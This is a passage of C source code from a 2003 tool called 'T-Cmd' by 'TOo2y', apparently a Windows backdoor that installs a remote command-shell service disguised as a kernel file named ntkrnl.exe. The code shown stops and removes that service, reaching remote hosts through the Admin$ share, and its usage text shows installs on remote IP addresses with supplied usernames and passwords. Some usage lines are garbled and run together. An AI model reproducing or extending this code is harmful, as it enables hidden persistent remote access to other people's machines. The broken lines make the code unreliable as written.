printf("Failure !\n");
}
else
{
printf("Success !\n");
}
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}
void RemoveCmdService(char *lpHost)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
SERVICE_STATUS RemoveServiceStatus;
HANDLE hSearch;
DWORD dwErrorCode;
if(lpHost==NULL)
{
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
lpHostName=(char *)malloc(MAX_PATH);
sprintf(lpHostName,"\\\\%s",lpHost);
}
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Opening SCM ......... ");
dwErrorCode=GetLastError();
if(dwErrorCode!=5)
{
printf("Failure !\n");
}
else
{
printf("Failuer ... Access is Denied !\n");
}
return ;
}
schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);
if(schService==NULL)
{
printf("Opening Service ..... ");
dwErrorCode=GetLastError();
if(dwErrorCode==1060)
{
printf("no Exists !\n");
}
else
{
printf("Failure !\n");
}
CloseServiceHandle(schSCManager);
}
else
{
printf("Stopping Service .... ");
if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
{
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("already Stopped !\n");
}
else
{
printf("Pending ... ");
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
{
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
Sleep(10);
QueryServiceStatus(schService,&RemoveServiceStatus);
}
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
}
}
else
{
printf("Failure !\n");
}
}
}
else
{
printf("Query Failure !\n");
}
printf("Removing Service .... ");
if(DeleteService(schService)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
}
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
printf("Removing File ....... ");
Sleep(1500);
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
printf("no Exists !\n");
}
else
{
if(DeleteFile(lpImagePath)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
FindClose(hSearch);
}
return ;
}
void Start()
{
printf("\n");
printf("\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\n");
printf("\t\t---[ E-mail:
TOo2y@safechina.net ]---\n");
printf("\t\t---[ HomePage:
www.safechina.net ]---\n");
printf("\t\t---[ Date: 02-05-2003 ]---\n\n");
return ;
}
void Usage()
{
printf("Attention:\n");
printf(" Be careful with this software, Good luck !\n\n");
printf("Usage Show:\n");
printf(" T-Cmd -Help\n");
printf(" T-Cmd -Install [RemoteHost] printf(" T-Cmd -Remove [RemoteHost] printf("Example:\n");
printf(" T-Cmd -Install (Install in the localhost)\n");
printf(" T-Cmd -Remove (Remove in the localhost)\n");
printf(" T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)\n");
printf(" T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)\n");
printf(" T-Cmd -Install 192.168.0.2 TOo2y NULL (NULL instead of no password)\n\n");
return ;
}